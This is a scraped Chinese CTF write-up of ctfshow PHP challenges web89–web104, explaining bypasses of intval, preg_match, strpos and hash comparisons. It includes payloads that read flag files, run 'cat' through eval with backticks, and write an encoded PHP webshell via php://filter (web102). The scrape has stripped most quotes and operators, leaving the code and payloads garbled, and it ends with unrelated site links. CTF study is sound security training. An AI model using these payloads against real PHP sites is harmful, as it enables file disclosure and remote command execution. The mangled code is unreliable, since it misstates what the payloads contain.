当前位置: 首页 > news >正文

网站怎么进入网站首页图

网站怎么进入,网站首页图,360网站做推广,php网站开发实例项目目录 web89 preg_match函数 、数组 web90 intval()函数、强比较 web91 正则修饰符 web92 intval()函数、弱比较 web93 八进制、小数点 web94 strpos() 函数、小数点 web95 小数点 web96 highlight_file() 下的目录路径 web97 数组 web98 三目运算符 web9…目录 web89  preg_match函数 、数组 web90  intval()函数、强比较 web91  正则修饰符 web92  intval()函数、弱比较 web93  八进制、小数点 web94  strpos() 函数、小数点 web95  小数点 web96   highlight_file() 下的目录路径 web97  数组 web98  三目运算符 web99   in_array函数 web100   优先级 web101 反射类 web102   call_user_funcfile_put_contents web103 web104  sha1 web89  preg_match函数 、数组 include(flag.php); highlight_file(__FILE__);if(isset($_GET[num])){$num $_GET[num];if(preg_match(/[0-9]/, $num)){die(no no no!);}if(intval($num)){echo $flag;} } intval() 函数用于获取变量的整数值。 intval() 函数通过使用指定的进制 base 转换默认是十进制返回变量 var 的 integer 数值。 intval() 不能用于 object否则会产生 E_NOTICE 错误并返回 1。 PHP 4, PHP 5, PHP 7 但是 preg_match函数无法处理数组所以构建一个数组num[ ]后面可以随便填一些数字也可以不填就可以直接出来。 web90  intval()函数、强比较 include(flag.php); highlight_file(__FILE__); if(isset($_GET[num])){$num $_GET[num];if($num4476){ 强类型判断 不仅判断值还会判断类型die(no no no!);}if(intval($num,0)4476){ //从num的第一个位置开始转换成整形数据echo $flag;}else{echo intval($num,0);} } intval函数取的是我们所输入内容开头的整数当我们输入的num的值为123a的时候经过intval函数的转化就变成了123 所以第一种方法让num的值等于4476a 再来看一下intval的语法 int intval ( mixed $var [, int $base 10 ] ) 参数说明 $var要转换成 integer 的数量值。     $base转化所使用的进制。 如果 base 是 0通过检测 var 的格式来决定使用的进制 如果字符串包括了 0x (或 0X) 的前缀使用 16 进制 (hex)否则     如果字符串以 0 开始使用 8 进制(octal)否则     将使用 10 进制 (decimal)。 4476的16进制0x117c 4476的8进制010574   第二种方法 num010574或者num0x117c web91  正则修饰符 show_source(__FILE__); include(flag.php); $a$_GET[cmd]; if(preg_match(/^php$/im, $a)){ //以php开头并且以php结尾多行匹配i表示不区分大小写if(preg_match(/^php$/i, $a)){ //单行匹配以php开头同时也以php结尾echo hacker;}else{echo $flag;} } else{echo nonononono; } 正则修饰符 i不区分大小写这里就是将匹配的目标设置为不区分大小写即php和PHP没有区别 m表示多行匹配 使用边界字符 ^ 和 $ 匹配每一行的开头和结尾记住是多行而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1 ^匹配输入字符串的开始位置。$匹配输入字符串的结束位置。 在默认的情况下一个字符串无论是否换行只有一个开始^和结束$。如果增加了多行匹配的话也就是说加上了m那么每行都有一个开始^和结束$。 payload?num换行php%0aphp,所以经过第一个正则匹配的时候由于是多行匹配我们的payload中的第二行就是以php开始以php结束的。经过第二个正则匹配的时候因为payload是%0aphp便不符合以php开始以php结束。执行else。 web92  intval()函数、弱比较 include(flag.php); highlight_file(__FILE__); if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(intval($num,0)4476){echo $flag;}else{echo intval($num,0);} }与90关类似 把十进制转化为十六进制与八进制即可 num010574或者num0x117c web93  八进制、小数点 include(flag.php); highlight_file(__FILE__); if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(preg_match(/[a-z]/i, $num)){die(no no no!);}if(intval($num,0)4476){echo $flag;}else{echo intval($num,0);} } 过滤了字母所以可以用8进制或者小数点 /?num010574 或 /?num4476.1   //传入小数会直接取整从而实现绕过 web94  strpos() 函数、小数点 include(flag.php); highlight_file(__FILE__); if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(preg_match(/[a-z]/i, $num)){die(no no no!);}if(!strpos($num, 0)){die(no no no!);}if(intval($num,0)4476){echo $flag;} } strpos() 函数 查找字符串在另一字符串中第一次出现的位置区分大小写。 返回值 返回字符串在另一字符串中第一次出现的位置如果没有找到字符串则返回 FALSE。注释 字符串位置从 0 开始不是从 1 开始。 所以strpos函数的意思就是查找0在$num中的位置是否是0此处就是过滤了八进制的方法,只能使用小数的方法去绕过。且小数位还要存在一个0假设我们的payload为4476.3那么在经过strpos函数的时候没有找到0那么就会返回FALSE在经过前面的!就变成了TRUE。所以我们需要在小数的某一个位置带上0绕过strpos函数。 payload?num4476.0 web95  小数点 include(flag.php); highlight_file(__FILE__); if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(preg_match(/[a-z]|\./i, $num)){die(no no no!!);}if(!strpos($num, 0)){die(no no no!!!);}if(intval($num,0)4476){echo $flag;} } 增加了对点的过滤同时需要满足 $num的值不能是4476 不能含有大小写字母 num中必须包含着0但是开头不能是0 可以使用换行或者空格或者号再加上八进制来绕过。 payload         ?num 010574 //注意有空格         ?num%20010574         ?num%0a010574         ?num010574         ?num%09010574         ?num%2b010574 的url编码是%2b 空格的编码是%20 web96   highlight_file() 下的目录路径 highlight_file(__FILE__);if(isset($_GET[u])){if($_GET[u]flag.php){die(no no no);}else{highlight_file($_GET[u]);} 先随便传个参数看到文件的路径 构造payload /?u/var/www/html/flag.php 绝对路径 /?u./flag.php 相对路径 /?uphp://filter/resourceflag.php php伪协议 php://filter 官方php://filter 是一种元封装器 设计用于数据流打开时的筛选过滤应用。 这对于一体式all-in-one的文件函数非常有用类似 readfile()、 file() 和 file_get_contents() 在数据流内容读取之前没有机会应用其他过滤器。 php://filter参数 resource要过滤的数据流 这个参数是必须的。它指定了你要筛选过滤的数据流。 read读链的筛选列表 该参数可选。可以设定一个或多个过滤器名称以管道符|分隔。 write写链的筛选列表 该参数可选。可以设定一个或多个过滤器名称以管道符|分隔。 两个链的筛选列表    任何没有以 read 或 write 作前缀 的筛选器列表会视情况应用于读或写链。   之前写过有关php://filter的学习笔记 php://filter_php://filter/_木…的博客-CSDN博客 web97  数组 md5弱类型比较可以直接数组绕过其结果都会转换为null a[]1b[]2 web98  三目运算符 include(flag.php); $_GET?$_GET$_POST:flag; $_GET[flag]flag?$_GET$_COOKIE:flag; $_GET[flag]flag?$_GET$_SERVER:flag; highlight_file($_GET[HTTP_FLAG]flag?$flag:__FILE__);是引用符号意思是不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上符号PHP 的引用允许你用两个变量来指向同一个内容$_GET?$_GET$_POST:flag;意思如果有GET传参的话那么就将$_POST传入的参数赋值给$_GET变量换句话说就是POST传入的参数和GET传入的参数是相同的。之后我们就可以通过POST来覆盖掉GET的值。highlight_file($_GET[HTTP_FLAG]flag?$flag:__FILE__)意思如果有通过GET方法传参HTTP_FLAGflag就highlight_file($flag)。否则highlight_file(__FILE__) web99   in_array函数 highlight_file(__FILE__); $allow array(); //创建一个空数组 for ($i36; $i 0x36d; $i) { array_push($allow, rand(1,$i)); //往$allow 末尾追加一个随机数 } if(isset($_GET[n]) in_array($_GET[n], $allow)){ //搜索file_put_contents($_GET[n], $_POST[content]); //把content的数据写入到n中 } array_push函数用于将一个或多个元素插入/推入数组 rand函数随机生成数组rand(min,max) file_put_contents() 函数把一个字符串写入文件中。 该函数访问文件时遵循以下规则 如果设置了 FILE_USE_INCLUDE_PATH那么将检查 *filename* 副本的内置路径 如果文件不存在将创建一个文件 打开文件 如果设置了 LOCK_EX那么将锁定文件 如果设置了 FILE_APPEND那么将移至文件末尾。否则将会清除文件的内容 向文件中写入数据 关闭文件并对所有文件解锁 如果成功该函数将返回写入文件中的字符数。如果失败则返回 False。   ​ ​ ​ 访问1.php ​ 发现包含flag的文件是flag36d.php读取这个文件 ​ ​ web100   优先级 highlight_file(__FILE__); include(ctfshow.php); //flag in class ctfshow; $ctfshow new ctfshow(); $v1$_GET[v1]; $v2$_GET[v2]; $v3$_GET[v3]; $v0is_numeric($v1) and is_numeric($v2) and is_numeric($v3); //因为赋值符号的优先级要高于and和or所以v0的值只与is_numeric($v1)有关也就是只要v1为数字即可。 if($v0){if(!preg_match(/\;/, $v2)){if(preg_match(/\;/, $v3)){eval($v2(ctfshow)$v3);} //几乎没有过滤而且对于v3不仅没有过滤还要求你有斜杠和分号就当是提示了吧。直接构造语句执行}} is_numeric ——检测变量是否为数字或数字字符串 为数字或字符串时返回为真。  ​ 因为 与||的优先级是高于and与or的 的优先级高于and与or所有 v 1为数字即可让即可让 v1为数字即可让v0为True 构造出var_dump($ctfshow); payload: ?v11v2var_dump($ctfshow)/*v3*/; //利用注释符号/**/也可以利用?和? ?v11v2v3??cat ctfshow.php; //反引号执行命令 ​  ​ web101 反射类 ​ 反射类可以说成是类的一个映射可以利用反射类来代替有关类的应用的任何语句 其属性为类的一个名称这道题目里面类的名称为ctfshow PHP Reflection API是PHP5才有的新功能它是用来导出或提取出关于类、方法、属性、参数等的详细信息包括注释。 $class new ReflectionClass(‘ctfshow’); // 建立ctfshow这个类的反射类 $instance class − newInstanceArgs(class-newInstanceArgs( class−newInstanceArgs(args); // 相当于实例化ctfshow类 payload?v11v2print new ReflectionClassv3; ​ 外包ctfshow为ctfshow{02ac0609-3e71-4d4a-b38a-4d4910d05c0}  把0x2d换成~ 会发现少一位了然后就抓包爆破最后一位 web102   call_user_funcfile_put_contents ?php highlight_file(__FILE__); $v1 $_POST[v1]; $v2 $_GET[v2]; $v3 $_GET[v3]; $v4 is_numeric($v2) and is_numeric($v3); if($v4){$s substr($v2,2);$str call_user_func($v1,$s);echo $str;file_put_contents($v3,$str); } else{die(hacker); } ?回调函数call_user_func(callbackparameter ) PHP函数详解call_user_func()使用方法_call_user_func php_风雅的远行者的博客-CSDN博客 第一个参数 callback 是被调用的回调函数(一般为闭包函数)其余参数是回调函数的参数。 $v1这里使用hex2bin()作为回调函数16进制转化为字符 $v2这里要求全是数字。 $v3使用PHP伪协议写入文件 v3php://filter/writeconvert.base64-decode/resource1.php 思路首先我们要将一部分代码写入文件中但有代码可知我们要从v2中得到相关的代码v2又需要是数字所以我们要保证v2是数字然后str是代码可以先将v3使用伪协议用base64写入所以这个时候的str是base64代码call_user_func()函数为一个过度hex2bin函数可以转换十六进制。V1要传入的是就是hex2bin函数之后调用所以v2应该是先base64然后是十六进制   $a?cat *;; $bbase64_encode($a);  // PD89YGNhdCAqYDs $cbin2hex($b);      //等号在base64中只是起到填充的作用不影响具体的数据内容直接用去掉和带着的base64解码出来的内容是相同的。 输出   5044383959474e6864434171594473 带e的话会被认为是科学计数法可以通过is_numeric检测 v25044383959474e6864434171594473 因为是从下标为2的位置取的字符串所以要在前面加两个数字随意 v2005044383959474e6864434171594473 payload: ?v2005044383959474e6864434171594473v3php://filter/writeconvert.base64-decode/resource1.php v1hex2bin (post) 传参 访问1.php 查看源代码 web103  这题比较上一题就多了正则匹配不能写入php与上一题一样这里就不赘述了 web104  sha1 highlight_file(__FILE__); include(flag.php);if(isset($_POST[v1]) isset($_GET[v2])){$v1 $_POST[v1];$v2 $_GET[v2];if(sha1($v1)sha1($v2)){echo $flag;} } sha1与md5类似。都无法处理数组 get : v2[]0 post: v1[]1
http://wiki.neutronadmin.com/news/185075/

相关文章:

  • 济南网站建设的方案近期重大新闻事件10条
  • 松岗怎么做企业网站设计网站开发短期培训
  • 实木餐桌椅网站建设公司网络推广100种方法免费
  • 代理充值平台网站网站如何做服务器授权书
  • 滁州项目建设公示在哪个网站wordpress前台提交图片
  • 最好的购物网站中文域名
  • 内蒙古自治区精神文明建设网站中秋节的网页制作模板
  • 新纪实网站建设设计公司起名及寓意
  • 金融网站 源码wordpress小工具没有
  • 建设网站需要花钱吗网站后台找不到了怎么办
  • dede 网站打开慢做微信支付的网站多少钱
  • 咸阳网站建设电话北京网络
  • 遵义建设厅网站常见网页制作工具
  • 重庆公司章程在哪里打印如何对seo进行优化
  • android做网站wordpress mu 下载
  • 跨境电商购物网站网站建设优化项目
  • 设计网站下载2023年企业所得税税收优惠政策
  • 网站建设的技术团队电脑网页无法访问如何解决
  • 做视频在线观看网站广东圆心科技网站开发网站模板设计
  • 个人网站怎么做代码WordPress模版二次元
  • 建个电子商务网站多少钱如何用dw做网站前端
  • 淘客做自己的网站软件项目实施流程
  • 惠州淡水网站建设公司深圳网站设计公司怎么样
  • wdcp 网站备份wordpress4.7无法安装
  • ps做网站动图东莞营销型网站建站
  • wap网站设计规范什么是三合一网站建设
  • 公司的网站怎么建设360建筑网忘记登入密码了怎么办
  • 通过邮箱查注册网站网络推广是什么职位
  • 商城网站的功能学网站开发多少钱
  • seo矩阵培训东莞债优化